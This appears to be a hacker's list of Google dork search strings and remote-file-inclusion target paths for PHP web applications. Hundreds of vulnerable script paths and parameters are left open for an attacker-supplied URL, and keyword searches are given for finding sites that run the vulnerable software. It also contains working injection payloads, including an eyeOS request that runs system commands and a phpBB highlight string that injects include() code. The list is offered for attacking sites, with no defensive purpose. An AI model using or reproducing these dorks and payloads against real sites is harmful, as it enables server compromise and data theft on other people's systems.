/phpgwapi/setup/tables_update.inc.php?appdir=
/forum/inst.php?phpbb_root_dir=
/includes/calendar.php?phpc_root_path=
/includes/setup.php?phpc_root_path=
/inc/authform.inc.php?path_pre=
/include/authform.inc.php?path_pre=
index.php?sec=
index.php?filename=
index.php?dir=
index.php?document=
index.php?view=
*.php?sel=
*.php?session=&content=
*.php?locate=
*.php?place=
*.php?layout=
*.php?go=
*.php?catch=
*.php?mode=
*.php?name=
*.php?loc=
*.php?f=
*.php?inf=
*.php?pg=
*.php?load=
*.php?naam=
/index.php?page= site:*.dk
/index.php?file= site:*.dk
INURL OR INURL WITH:
/temp_eg/phpgwapi/setup/tables_update.inc.php?appdir=
/includes/header.php?systempath=
/Gery/displayCategory.php?basepath=
/index.inc.php?PATH_Includes=
/ashnews.php?pathtoashnews=
/ashheadlines.php?pathtoashnews=
/demo/includes/init.php?user_inc=
/jaf/index.php?show=
/inc/shows.inc.php?cutepath=
/poll/admin/common.inc.php?base_path=
/pollvote/pollvote.php?pollname=
/sources/post.php?fil_config=
/bb_lib/checkdb.inc.php?libpach=
/include/livre_include.php?no_connect=lol&chem_absolu=
/index.php?from_market=Y&pageurl=
/pivot/modules/module_db.php?pivot_path=
/derniers_commentaires.php?rep=
/modules/coppermine/themes/coppercop/theme.php?THEME_DIR=
/coppermine/themes/maze/theme.php?THEME_DIR=
/mylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/mylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=
/agendax/addevent.inc.php?agendax_path=
/modules/xoopsgery/upgrade_album.php?GERY_BASEDIR=
/default.php?page=
/index.php?action=
/index1.php?p=
/index2.php?x=
/index2.php?content=
/index.php?conteudo=
/index.php?cat=
/modules/xgery/upgrade_album.php?GERY_BASEDIR=
/library/editor/editor.php?root=
/library/lib.php?root=
/zentrack/index.php?configFile=
/becommunity/community/index.php?pageurl=
/GradeMap/index.php?page=
/index4.php?body=
/side/index.php?side=
/es/index.php?action=
/index.php?main=
/html/page.php?page=
/page.php?view=
/index.php?menu=
/content.php?page=
/main_site.php?page=
/index.php?L2=
/main.php?page=
/tutorials/print.php?page=
/index.php?inter_url=
/index2.php?menu=
/index.php?level=
/index1.php?main=
/index1.php?nav=
/index1.php?link=
/index2.php?page=
/index.php?myContent=
/index.php?TWC=
/index.php?sec=
/index.php?babInstPath=
/main.php?body=
/index.php?z=
/main.php?view=
/modules/PNphpBB2/includes/functions_admin.php?phpbb_root_path=
/index.php?file=
1. my_egery site:.org
2. xgery site:.org
3. coppermine site:.org
4. 4nAlbum site:.org
/modules/4nAlbum/public/displayCategory.php?basepath=
5. inurlP:NphpBB2 site:.org
6. ihm.php?p=
7. Keyword : "powered by MyLinks"
8. /modules.php?name=myguests
/modules/MyGuests/signin.php?_AMGconfig[cfg_serverpath]=
9. /Popper/index.php?
/Popper/index.php?childwindow.inc.php?form=
10. google = kietu/hit_js.php, kietu/hit_js.php
yahoo = by Kietu? v 3.2
/kietu/index.php?kietu[url_hit]=
11. keyword : "Powered by phpBB 2.0.6"
/html&highlight=%2527.include($_GET[a]),exit.%2527&a=
12. keyword : "powered by CubeCart 3.0.6"
13. keyword : "powered by paBugs 2.0 Beta 3?
14. powered by AshNews", AshNews atau /ashnews.php
15. keyword : /phorum/login.php
/phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=
16. ihm.php?p=*
14. keyword : "powered eyeOs"
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=system($cmd);&cmd=id
diganti dengan :
/eyeos/desktop.php?baccio=eyeOptions.eyeapp&a=eyeOptions.eyeapp&_SESSION%5busr%5d=root&_SESSION%5bapps%5d%5beyeOptions.eyeapp%5d%5bwrapup%5d=include($_GET%5ba%5d);&a=
15. .php?bodyfile=
16. /includes/orderSuccess.inc.php?glob=
17. forums.html
/modules.php?name=
18. /default.php?page=home
19. /folder.php?id=
20. main.php?pagina=
/paginedinamiche/main.php?pagina=
21. Key Word: ( Nuke ET Copyright 2004 por Truzone. ) or ( *.edu.*/modules.php?name=myguests ) or ( "powered by MyGuests")
22. application.php?base_path=
/application.php?base_path=
23. inurlp:hplivehelper
/phplivehelper/initiate.php?abs_path=
24. inurlp:hpnuke
25. key word : "powered by Fantastic News v2.1.2"
/archive.php?CONFIG[script_path]=
26. keyword: "powered by smartblog" AND ?page=login
27. /forum/
/forum/admin/index.php?inc_conf=
28. keyword:"Powered By FusionPHP"
/templates/headline_temp.php?nst_inc=
29. shoutbox/expanded.php filetypep:hp
30. /osticket/
/osticket/include/main.php?config[search_disp]=true&include_dir=
31. keyword : "Powered by iUser"
/common.php?include_path=
32. "static.php?load="
/static.php?load=
33. keyworld : /phpcoin/login.php
/phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=
34. keyworld: /phpGedview/login.php site:
/help_text_vars.php?dir&PGV_BASE_DIRECTORY=
35. /folder.php?id=
/classes.php?LOCAL_PATH=
"/lire.php?rub="
"/os/pointer.php?url="
"folder.php?id="
"show.php?page="
"index2.php?DoAction="
"index.php?canal="
"index.php?screen="
"index.php?langc="
"index.php?Language="
"view.php?page="
dork: "powered by doodle cart"
rfi of this dork: enc/content.php?Home_Path=
dork: "Login to Calendar"
rfi of this dork: /embed/day.php?path=
dork: "powered by EQdkp"
rfi of this dork: /includes/dbal.php?eqdkp_root_path=
"template.php?goto="
"video.php?content="
"pages.php?page="
"index1.php?choix="
"index1.php?menu="
"index2.php?ascii_seite="
dork: surveys
rfi to this dork: /surveys/survey.inc.php?path=
"index.php?body="
dork: adobt sitel
rfi to this dork: /classes/adodbt/sql.php?classes_dir=
dork: "Powered By ScozNews"
rfi to this dork: /sources/functions.php?CONFIG[main_path]=
rfi to this dork: /sources/template.php?CONFIG[main_path]=
"kb_constants.php?module_root_path="
dork: mcf.php"
rfi to this dork: /mcf.php?content=
dork: "main.php?sayfa="
rfi to this dork: /main.php?sayfa=
dork: "MobilePublisherPHP"
rfi to this dork: /header.php?abspath=
dork: "powered by phpCOIN 1.2.3"
rfi to rhis dork: /coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=
login.php?dir=
"index.php?go="
"index1.php?="
"lib/gore.php?libpath="
"index2.php?p="
/classes/adodbt/sql.php?classes_dir=
/classified_right.php?language_dir=
/sources/template.php?CONFIG[main_path]=
/sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=
/mcf.php?content=
/zipndownload.php?PP_PATH=
/administrator/components/com_serverstat/inst.serverstat.php?mosConfig_absolute_path=
impex/ImpExData.php?systempath=
/coin_includes/constants.php?_CCFG[_PKG_PATH_INCL]=
/login.php?dir=
/tags.php?BBCodeFile=
phpwcms/include/inc_ext/spaw/dialogs/table.php?spaw_root=
index1.php?=
main.php?id=
lib/gore.php?libpath=
news_detail.php?file=
old_reports.php?file=
index.php?nic=
homepage.php?sel=
index.php?sel=
components/com_artlinks/artlinks.dispnew.php?mosConfig_absolute_path=
main.php?pagina=
test.php?page=
index.php?lang=
index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%5d=1&GLOBALS=&mosConfig_absolute_path=
index.php?mode=
index.php?stranica=
index.php?sub=
index.php?t=
solpot.html?body=
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path=
/tools/send_reminders.php?includedir=
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path=
index.php?u=
administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_path=
administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=
/administrator/components/com_uhp/uhp_config.php?mosConfig_absolute_path=
administrator/components/com_a6mambocredits/admin.a6mambocredits.php?mosConfig_live_site=
show_news.php?cutepath=
page.php?doc=
administrator/components/com_mgm/help.mgm.php?mosConfig_absolute_path=
components/com_geria/geria.html.php?mosConfig_absolute_path=
/functions.php?include_path=
/modules/coppermine/include/init.inc.php?CPG_M_DIR=
/include/write.php?dir=
db.php?path_local=
index.php?file=
index.php?content=
index.php?kobr=
index.php?l=
index.php?a=
index.php?opcao=
index.php?conteudo=
index.php?meio=
index.php?inc=
index.php?c=
index.php?arquivo=
components/com_mtree/Savant2/Savant2_Plugin_stylesheet.php?mosConfig_absolute_path=
index.php?show=
index.php?dept=
index.php?inhalt=
principal.php?conteudo=
main.php?site=
template.php?name=
forum.php?act=
index2.php?content=
index.phpmain.php?x=
index.php?canal=
services.php?page=
index.php?Language=
video.php?content=
pages.php?page=
print.php?page=
show.php?page=
media.php?page=
index2.php?ascii_seite=
index2.php?DoAction=
index1.php?site=
main.php?link=
home.php?x=
/phpopenchat/contrib/yabbse/poc.php?sourcedir=
/squito/photolist.inc.php?photoroot=
/spid/lang/lang.php?lang_path=
/modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=
/index.php?_REQUEST=&_REQUEST[option]=com_content&_REQUEST[Itemid]=1&GLOBALS=&mosConfig_absolute_path=
/app/common/lib/codeBeautifier/Beautifier/Core.php?BEAUT_PATH=
components/com_performs/performs.php?mosConfig_absolute_path=
/components/com_smf/smf.php?mosConfig_absolute_path=
/components/com_cpg/cpg.php?mosConfig_absolute_path=
administrator/components/com_peoplebook/param.peoplebook.php?mosConfig_absolute_path=
/admin_modules/admin_module_deldir.inc.php?config[path_src_include]=
inc/cmses/aedating4CMS.php?dir[inc]= flashchat site:br bp_ncom.php?bnrep=
/jscript.php?my_ms[root]=
/popup_window.php?site_isp_root=
/surveys/survey.inc.php?path=
index.php?body=
enc/content.php?Home_Path=
/sources/functions.php?CONFIG[main_path]=
/embed/day.php?path=
/includes/dbal.php?eqdkp_root_path=
sources/join.php?FORM[url]=owned&CONFIG[captcha]=1&CONFIG[path]=
/includes/kb_constants.php?module_root_path=
/components/com_facileforms/facileforms.frame.php?ff_compath=
skins/advanced/advanced1.php?pluginpath[0]=
/components/com_zoom/includes/database.php?mosConfig_absolute_path=
/main.php?sayfa=
/components/com_extended_registration/registration_detailed.inc.php?mosConfig_absolute_path=
/addpost_newpoll.php?addpoll=preview&thispath=
/header.php?abspath=
/modules/vwar/admin/admin.php?vwar_root=
/skin/zero_vote/error.php?dir=
/modules/TotalCalendar/about.php?inc_dir=
login.php?dir=
index.php?pageurl=
index.php?id=
content.php?page=
admin.php?page=
SQuery/lib/gore.php?libpath=
index2.php?p=
config.php?_CCFG[_PKG_PATH_DBSE]=
akocomments.php?mosConfig_absolute_path=
index.php?lang=gr&file
index.php?pag=
index.php?incl=
avatar.php?page=
index.php?x= index.php?mode=index.php?stranica=
index.php?sub=index.php?id=index.php?t=
index.php?menu=
index0.php?show=
administrator/components/com_comprofiler/plugin.class.php?mosConfig_absolute_path= /tools/send_reminders.php?includedir= day.php?date=
administrator/components/com_remository/admin.remository.php?mosConfig_absolute_path= /tags.php?BBCodeFile=
index.php?topic=
index.php?u=administrator/components/com_linkdirectory/toolbar.linkdirectory.html.php?mosConfig_absolute_path=
administrator/components/com_cropimage/admin.cropcanvas.php?cropimagedir=modules/My_eGery/index.php?basepath=
/modules/vwar/admin/admin.php?vwar_root=index.php?loc=
.br/index.php?loc=
myevent.php?myevent_path=
includes/functions.php?phpbb_root_path=
index.php?template=
search.php?cutepath=
administrator/components/com_webring/admin.webring.docs.php?component_dir=
help.php?css_path=
big.php?pathtotemplate=
includes/search.php?GlobalSettings[templatesDirectory]=
interna/tiny_mce/plugins/ibrowser/ibrowser.php?tinyMCE_imglib_include=
modules/My_eGery/index.php?basepath=
/includes/orderSuccess.inc.php?glob=1&cart_order_id=1&glob[rootDir]=
/class.mysql.php?path_to_bt_dir=
/include/footer.inc.php?_AMLconfig[cfg_serverpath]=
/squirrelcart/cart_content.php?cart_isp_root=
/modules/Forums/admin/admin_styles.php?phpbb_root_path=
index.php?url=
index.php?openfile=
index.php?side=
index.php?doc=
index.php?principal=
index.php?rage=
index.php?place=
index.php?dsp=
index.php?lg=
index.php?pilih=
template.php?pagina=
contenido.php?sec=
index_principal.php?pagina=
home.php?pagina=
noticias.php?arq=
default.php?page=
index.php?meio.php=
index.php?screen=
index.php?langc=
htmltonuke.php?filnavn=
ihm.php?p=
folder.php?id=
index.php?Load=
h.php?file=
h.php?page=
template.php?goto=
index1.php?menu=
index.php?ort=
index2.php?ID=
index2.php?url_page=
index1.php?dat=
port.php?content=
index1.php?x=
/contrib/yabbse/poc.php?poc_root_path=
/photoalb/lib/static/header.php?set_menu=
/bz/squito/photolist.inc.php?photoroot=
/ppa/inc/functions.inc.php?config[ppa_root_path]=
al_initialize.php?alpath=
/extensions/moblog/moblog_lib.php?basedir=
modules/MyGuests/signin.php?_AMGconfig[cfg_serverpath]=
/components/com_rsgery/rsgery.html.php?mosConfig_absolute_path=
inc/cmses/aedating4CMS.php?dir[inc]=
bp_ncom.php?bnrep=
/components/com_mtree/Savant2/Savant2_Plugin_textarea.php?mosConfig_absolute_path=
/yabbse/Sources/Packages.php?sourcedir=
/include/main.php?config[search_disp]=true&include_dir=
/includes/functions_portal.php?phpbb_root_path=
pagina.php?ir=
home.php?qry=
index3.php?url=
index1.php?action=
press.php?param=
view.php?adresa=
pagina.php?type=
file.php?ki=
gery.php?seite=
include.php?loader=
index2.php?module=
gery.php?strona=
general.php?itemnav=
template.php?h=
nota.php?header=
blank.php?ki=
enter.php?base_dir=
general.php?thispage=
view.php?var=
include.php?*
layout.php?pagina=
padrao.php?ir=
*inc*.php?left=
gery.php?eval=
index2.php?base_dir=
index1.php?op=
padrao.php?sivu=
enter.php?pagina=
principal.php?recipe=
file.php?pref=
standard.php?goto=
index2.php?phpbb_root_path=
path.php?action=
mod*.php?link=
include.php?nivel=
head.php?pollname=
default.php?name=
standard.php?param=
general.php?where=
head.php?*
principal.php?url=
home.php?ref=
down*.php?left=
standard.php?url=
press.php?*root*=
view.php?*
view.php?second=
include.php?loc=
template.php?second=
index.php?filepath=
home.php?pr=
index.php?module=
file.php?url=
home.php?itemnav=
default.php?read=
view.php?incl=
down*.php?to=
principal.php?viewpage=
index2.php?choix=
standard.php?seccion=
page.php?goto=
*.php?secc=
index3.php?chapter=
start.php?seccion=
base.php?middlePart=
template.php?panel=
path.php?menue=
padrao.php?secc=
*inc*.php?inc=
general.php?id=
standard.php?pref=
template.php?play=
layout.php?my=
padrao.php?seite=
press.php?i=
mod*.php?tipo=
gery.php?ref=
press.php?inc=
index2.php?left=
view.php?phpbb_root_path=
base.php?k=
index3.php?pag=
down*.php?OpenPage=
sitio.php?strona=
nota.php?seite=
index.php?basepath=
info.php?in=
start.php?where=
default.php?n=
down*.php?filepath=
main.php?corpo=
principal.php?filepath=
view.php?option=
show.php?*root*=
principal.php?pre=
start.php?p=
standard.php?home=
enter.php?numero=
index2.php?oldal=
general.php?addr=
general.php?tipo=
index.php?secao=
info.php?op=
template.php?page=
include.php?sivu=
index.php?modo=
show.php?module=
sitio.php?texto=
gery.php?oldal=
press.php?incl=
principal.php?w=
index2.php?pname=
path.php?path=
*inc*.php?category=
default.php?pag=
default.php?pr=
main.php?adresa=
default.php?to=
default.php?opcion=
main.php?str=
path.php?in=
base.php?ev=
principal.php?choix=
default.php?m=
include.php?name=
path.php?link=
view.php?pag=
principal.php?my=
index1.php?*
path.php?header=
*inc*.php?base_dir=
principal.php?basepath=
view.php?disp=
head.php?modo=
show.php?left=
gery.php?url=
sub*.php?*root*=
mod*.php?section=
general.php?name=
base.php?disp=
principal.php?module=
sub*.php?OpenPage=
gery.php?xlink=
mod*.php?to=
padrao.php?oldal=
sub*.php?lang=
down*.php?x=
enter.php?sp=
index2.php?loader=
enter.php?loader=
principal.php?disp=
sub*.php?viewpage=
template.php?pre=
mod*.php?goFile=
press.php?second=
base.php?seccion=
sitio.php?doshow=
*inc*.php?type=
show.php?filepath=
sitio.php?qry=
general.php?pr=
layout.php?panel=
pagina.php?go=
press.php?*
default.php?var=
sub*.php?corpo=
file.php?viewpage=
press.php?itemnav=
mod*.php?ev=
blank.php?OpenPage=
head.php?tipo=
sitio.php?sec=
default.php?cmd=
blank.php?channel=
mod*.php?j=
layout.php?modo=
head.php?pageweb=
path.php?type=
layout.php?g=
nota.php?base_dir=
index2.php?showpage=
index3.php?type=
base.php?cont=
mod*.php?chapter=
sitio.php?ev=
home.php?sekce=
sitio.php?sp=
nota.php?tipo=
view.php?to=
include.php?middle=
include.php?phpbb_root_path=
index2.php?include=
nota.php?itemnav=
include.php?option=
index2.php?type=
base.php?link=
path.php?chapter=
show.php?sp=
home.php?section=
default.php?y=
gery.php?*
pagina.php?link=
index1.php?o=
gery.php?addr=
*inc*.php?menu=
path.php?where=
pagina.php?home=
file.php?doshow=
index3.php?pname=
nota.php?in=
path.php?middlePart=
down*.php?sp=
page.php?module=
index3.php?ev=
standard.php?eval=
path.php?y=
template.php?qry=
start.php?option=
info.php?subject=
page.php?abre=
sub*.php?g=
home.php?g=
file.php?play=
start.php?loader=
start.php?showpage=
info.php?ref=
pagina.php?id=
blank.php?name=
head.php?str=
print.php?header=
index3.php?mid=
down*.php?disp=
blank.php?j=
path.php?goto=
default.php?type=
mod*.php?incl=
path.php?filepath=
gery.php?base_dir=
show.php?middlePart=
*inc*.php?to=
layout.php?z=
view.php?seccion=
sitio.php?*root*=
file.php?strona=
mod*.php?pag=
index2.php?ref=
head.php?sekce=
layout.php?pref=
path.php?doshow=
path.php?panel=
file.php?pagina=
index2.php?e=
path.php?sp=
pagina.php?load=
general.php?section=
base.php?filepath=
include.php?content=
blank.php?basepath=
template.php?ref=
head.php?load=
main.php?subject=
file.php?y=
down*.php?ev=
padrao.php?choix=
index.php?channel=
nota.php?t=
blank.php?panel=
sub*.php?header=
info.php?var=
enter.php?read=
head.php?adresa=
print.php?param=
default.php?sp=
start.php?panel=
template.php?dir=
show.php?pre=
view.php?content=
print.php?strona=
sitio.php?inc=
info.php?header=
info.php?itemnav=
file.php?to=
base.php?itemnav=
standard.php?where=
sitio.php?modo=
sitio.php?disp=
print.php?addr=
mod*.php?oldal=
sub*.php?go=
start.php?load=
index2.php?option=
blank.php?mod=
index3.php?inc=
standard.php?my=
enter.php?y=
base.php?pageweb=
padrao.php?*root*=
main.php?action=
pagina.php?path=
sub*.php?phpbb_root_path=
path.php?home=
index3.php?middle=
index3.php?get=
default.php?seccion=
print.php?numero=
include.php?in=
include.php?secao=
sub*.php?sec=
home.php?channel=
base.php?body=
enter.php?ir=
home.php?oldal=
head.php?pag=
general.php?menu=
nota.php?seccion=
path.php?xlink=
page.php?mid=
index1.php?link=
blank.php?sp=
default.php?panel=
*inc*.php?doshow=
blank.php?id=
print.php?read=
sitio.php?destino=
principal.php?d=
start.php?name=
default.php?chapter=
head.php?goto=
path.php?qry=
default.php?*root*=
enter.php?cmd=
file.php?include=
enter.php?body=
index.php?chapter=
include.php?panel=
default.php?choix=
start.php?oldal=
down*.php?ir=
nota.php?module=
info.php?xlink=
enter.php?lang=
general.php?redirect=
view.php?recipe=
home.php?ir=
padrao.php?open=
base.php?subject=
padrao.php?u=
sub*.php?my=
enter.php?type=
blank.php?ir=
page.php?showpage=
home.php?disp=
index3.php?secc=
home.php?panel=
index1.php?pr=
main.php?ref=
layout.php?link=
standard.php?qry=
index2.php?thispage=
index3.php?pollname=
pagina.php?cmd=
view.php?body=
head.php?rub=
standard.php?include=
path.php?secao=
press.php?opcion=
gery.php?tipo=
index1.php?v=
pagina.php?secao=
standard.php?secc=
gery.php?loader=
index3.php?include=
pagina.php?to=
enter.php?strona=
sub*.php?s=
enter.php?get=
path.php?var=
general.php?subject=
enter.php?pa=
include.php?header=
include.php?mid=
blank.php?incl=
index2.php?corpo=
index1.php?incl=
home.php?choix=
index1.php?c=
index2.php?var=
main.php?pref=
index1.php?pname=
path.php?incl=
info.php?recipe=
view.php?sec=
file.php?where=
print.php?name=
info.php?c=
principal.php?cont=
print.php?menue=
info.php?f=
padrao.php?xlink=
index1.php?url=
gery.php?basepath=
template.php?mid=
sub*.php?id=
start.php?corpo=
file.php?chapter=
home.php?chapter=
standard.php?chapter=
press.php?page=
nota.php?n=
start.php?adresa=
default.php?e=
sub*.php?itemnav=
standard.php?go=
sitio.php?menu=
press.php?goFile=
principal.php?id=
down*.php?incl=
principal.php?z=
main.php?my=
start.php?ir=
info.php?ki=
file.php?loader=
index.php?mid=
down*.php?seite=
base.php?lang=
nota.php?inc=
standard.php?index=
index1.php?var=
principal.php?p=
pagina.php?index=
view.php?qry=
home.php?tipo=
page.php?numero=
index1.php?strona=
show.php?inc=
index2.php?redirect=
pagina.php?middlePart=
template.php?base_dir=
info.php?mid=
home.php?module=
general.php?left=
print.php?doshow=
general.php?page=
path.php?adresa=
page.php?seite=
home.php?menu=
index2.php?open=
blank.php?pname=
sub*.php?modo=
index2.php?goto=
path.php?subject=
general.php?sivu=
general.php?read=
principal.php?ev=
press.php?to=
main.php?middle=
print.php?pollname=
index2.php?strona=
template.php?f=
template.php?e=
press.php?pagina=
print.php?ki=
page.php?z=
enter.php?left=
head.php?middlePart=
gery.php?ev=
index3.php?ref=
file.php?id=
print.php?loc=
sitio.php?body=
pagina.php?n=
down*.php?s=
padrao.php?a=
page.php?OpenPage=
gery.php?option=
mod*.php?sekce=
template.php?thispage=
head.php?viewpage=
file.php?incl=
sitio.php?e=
page.php?cont=
sub*.php?adresa=
index2.php?pg=
layout.php?thispage=
padrao.php?body=
base.php?t=
press.php?redirect=
pagina.php?seccion=
layout.php?action=
sitio.php?option=
index2.php?category=
pagina.php?lang=
include.php?ref=
index3.php?thispage=
sub*.php?seite=
layout.php?addr=
nota.php?mid=
page.php?p=
mod*.php?corpo=
press.php?t=
blank.php?category=
*inc*.php?y=
nota.php?category=
show.php?d=
enter.php?menue=
index1.php?t=
nota.php?adresa=
main.php?thispage=
layout.php?tipo=
index3.php?d=
enter.php?b=
main.php?loc=
standard.php?z=
show.php?base_dir=
sitio.php?middlePart=
template.php?a=
page.php?read=
index.php?param=
default.php?channel=
sub*.php?link=
padrao.php?texto=
base.php?base_dir=
file.php?texto=
base.php?middle=
pagina.php?base_dir=
print.php?tipo=
principal.php?pag=
index2.php?loc=
nota.php?option=
home.php?index=
print.php?base_dir=
file.php?get=
info.php?content=
default.php?goto=
start.php?include=
print.php?option=
default.php?v=
base.php?numero=
index2.php?qry=
sub*.php?secao=
sub*.php?secc=
mod*.php?lang=
standard.php?pollname=
default.php?load=
show.php?j=
down*.php?pa=
standard.php?open=
file.php?disp=
press.php?xlink=
print.php?s=
mod*.php?secc=
index1.php?param=
index3.php?sivu=
mod*.php?pg=
layout.php?cmd=
info.php?phpbb_root_path=
print.php?OpenPage=
default.php?thispage=
enter.php?sec=
path.php?*
home.php?middlePart=
index3.php?channel=
template.php?sekce=
down*.php?goFile=
blank.php?header=
start.php?body=
base.php?module=
default.php?l=
index2.php?texto=
home.php?eval=
padrao.php?section=
blank.php?goFile=
index.php?index=
layout.php?ir=
blank.php?pollname=
include.php?x=
start.php?pageweb=
gery.php?rub=
template.php?sp=
sub*.php?basepath=
standard.php?section=
enter.php?abre=
index1.php?pa=
principal.php?seite=
gery.php?chapter=
nota.php?qry=
pagina.php?pagina=
default.php?menu=
standard.php?*
default.php?abre=
press.php?pg=
start.php?nivel=
index1.php?filepath=
padrao.php?op=
mod*.php?pre=
default.php?pa=
press.php?strona=
nota.php?cmd=
standard.php?abre=
general.php?seccion=
index1.php?itemnav=
layout.php?seite=
home.php?pollname=
path.php?left=
down*.php?inc=
include.php?channel=
print.php?dir=
main.php?disp=
print.php?pre=
padrao.php?cont=
padrao.php?menu=
path.php?addr=
base.php?sekce=
pagina.php?loader=
page.php?go=
press.php?category=
gery.php?left=
down*.php?qry=
file.php?second=
include.php?pag=
base.php?ir=
template.php?addr=
sitio.php?nivel=
include.php?destino=
head.php?disp=
general.php?w=
gery.php?sec=
base.php?var=
enter.php?addr=
enter.php?go=
page.php?middle=
start.php?home=
info.php?rub=
pagina.php?OpenPage=
head.php?content=
principal.php?pref=
home.php?in=
path.php?disp=
main.php?index=
file.php?eval=
press.php?base_dir=
main.php?content=
show.php?disp=
index.php?opcion=
view.php?loader=
down*.php?strona=
principal.php?seccion=
principal.php?n=
blank.php?link=
file.php?sivu=
info.php?adresa=
*inc*.php?ki=
padrao.php?incl=
main.php?eval=
gery.php?nivel=
sub*.php?goFile=
info.php?sec=
main.php?include=
main.php?page=
base.php?*
home.php?rub=
default.php?k=
index3.php?t=
file.php?showpage=
enter.php?home=
info.php?menue=
index.php?middlePart=
blank.php?corpo=
press.php?where=
path.php?p=
page.php?*
enter.php?path=
press.php?ir=
index1.php?path=
sub*.php?option=
sub*.php?pag=
layout.php?where=
info.php?o=
file.php?oldal=
template.php?menue=
press.php?abre=
layout.php?OpenPage=
home.php?play=
sitio.php?pg=
main.php?filepath=
general.php?to=
index1.php?*root*=
show.php?qry=
print.php?where=
index2.php?itemnav=
pagina.php?q=
enter.php?str=
enter.php?name=
sitio.php?addr=
enter.php?incl=
index3.php?mod=
template.php?opcion=
nota.php?pre=
head.php?lang=
pagina.php?g=
include.php?tipo=
default.php?loc=
principal.php?destino=
index3.php?menue=
index.php?y=
home.php?opcion=
print.php?middlePart=
sitio.php?secc=
show.php?read=
standard.php?var=
info.php?param=
head.php?start=
view.php?oldal=
mod*.php?play=
gery.php?h=
pagina.php?mid=
sub*.php?thispage=
layout.php?loader=
enter.php?qry=
padrao.php?filepath=
include.php?ir=
sub*.php?u=
base.php?chapter=
press.php?pageweb=
sub*.php?pa=
enter.php?texto=
home.php?link=
template.php?*
gery.php?action=
base.php?oldal=
index3.php?dir=
include.php?ki=
index3.php?body=
standard.php?oldal=
nota.php?showpage=
general.php?f=
padrao.php?pag=
*inc*.php?rub=
index2.php?adresa=
head.php?sec=
nota.php?filepath=
print.php?link=
gery.php?pname=
show.php?pname=
base.php?loc=
file.php?q=
gery.php?sivu=
padrao.php?header=
layout.php?abre=
index3.php?pref=
enter.php?subject=
page.php?modo=
page.php?left=
base.php?abre=
index3.php?addr=
blank.php?pr=
*inc*.php?get=
print.php?play=
padrao.php?secao=
index.php?str=
general.php?sekce=
show.php?m=
head.php?b=
index1.php?mod=
home.php?showpage=
home.php?cmd=
index1.php?read=
page.php?load=
general.php?choix=
home.php?my=
start.php?param=
layout.php?sekce=
enter.php?module=
mod*.php?secao=
show.php?n=
start.php?pname=
down*.php?doshow=
index2.php?pre=
layout.php?nivel=
home.php?base_dir=
include.php?eval=
standard.php?xlink=
info.php?home=
general.php?body=
head.php?play=
file.php?index=
mod*.php?OpenPage=
index.php?b=
principal.php?ki=
sub*.php?panel=
path.php?sec=
nota.php?left=
default.php?header=
padrao.php?qry=
file.php?corpo=
padrao.php?strona=
sub*.php?z=
pagina.php?include=
page.php?link=
start.php?abre=
print.php?goFile=
*inc*.php?c=
down*.php?cmd=
home.php?middle=
sub*.php?open=
include.php?second=
sitio.php?menue=
path.php?tipo=
home.php?addr=
gery.php?pref=
pagina.php?k=
head.php?strona=
general.php?e=
blank.php?get=
blank.php?sivu=
sitio.php?read=
home.php?thispage=
pagina.php?loc=
layout.php?qry=
print.php?*root*=
show.php?to=
view.php?u=
view.php?chapter=
principal.php?nivel=
info.php?secao=
nota.php?abre=
standard.php?menu=
index2.php?pollname=
index3.php?path=
index.php?base_dir=
general.php?secao=
mod*.php?home=
down*.php?section=
default.php?index=
general.php?doshow=
padrao.php?abre=
enter.php?seite=
down*.php?lang=
main.php?xlink=
index3.php?base_dir=
gery.php?redirect=
layout.php?basepath=
pagina.php?modo=
index.php?adresa=
down*.php?u=
main.php?mod=
file.php?start=
view.php?redirect=
index2.php?u=
padrao.php?*
info.php?ev=
index1.php?nivel=
include.php?seccion=
view.php?lang=
mod*.php?include=
mod*.php?seccion=
principal.php?pollname=
include.php?read=
press.php?rub=
index2.php?incl=
pagina.php?chapter=
view.php?middle=
print.php?sekce=
padrao.php?pname=
head.php?ref=
principal.php?link=
gery.php?menue=
template.php?op=
info.php?doshow=
default.php?sivu=
nota.php?pagina=
sitio.php?content=
press.php?thispage=
press.php?pa=
index1.php?redirect=
padrao.php?menue=
index2.php?sekce=
mod*.php?d=
include.php?filepath=
principal.php?l=
layout.php?oldal=
include.php?b=
layout.php?pollname=
start.php?play=
print.php?r=
info.php?*
sub*.php?*
* *=
mod*.php?addr=
base.php?category=
index2.php?d=
mod*.php?phpbb_root_path=
default.php?include=
press.php?module=
default.php?module=
info.php?pname=
path.php?id=
general.php?get=
press.php?path=
padrao.php?sekce=
base.php?ki=
file.php?cmd=
layout.php?section=
press.php?include=
mod*.php?destino=
base.php?doshow=
principal.php?load=
print.php?type=
index1.php?adresa=
index3.php?pre=
standard.php?cont=
gery.php?open=
blank.php?read=
sitio.php?redirect=
index1.php?cmd=
info.php?redirect=
file.php?load=
index3.php?itemnav=
gery.php?mod=
enter.php?ref=
down*.php?t=
view.php?goFile=
file.php?var=
sitio.php?ir=
show.php?b=
sitio.php?param=
sub*.php?rub=
print.php?opcion=
press.php?middle=
info.php?ir=
home.php?basepath=
blank.php?section=
include.php?to=
start.php?sp=
index3.php?name=
template.php?showpage=
view.php?ki=
index1.php?sekce=
press.php?option=
nota.php?home=
gery.php?my=
show.php?mid=
blank.php?o=
sitio.php?pr=
index3.php?destino=
main.php?body=
blank.php?lang=
path.php?thispage=
padrao.php?OpenPage=
info.php?pageweb=
blank.php?h=
head.php?incl=
principal.php?ref=
start.php?go=
file.php?action=
template.php?t=
base.php?mid=
start.php?b=
start.php?lang=
default.php?rub=
head.php?read=
show.php?cmd=
press.php?get=
principal.php?secc=
gery.php?menu=
gery.php?corpo=
include.php?module=
page.php?redirect=
gery.php?filepath=
general.php?ir=
file.php?ref=
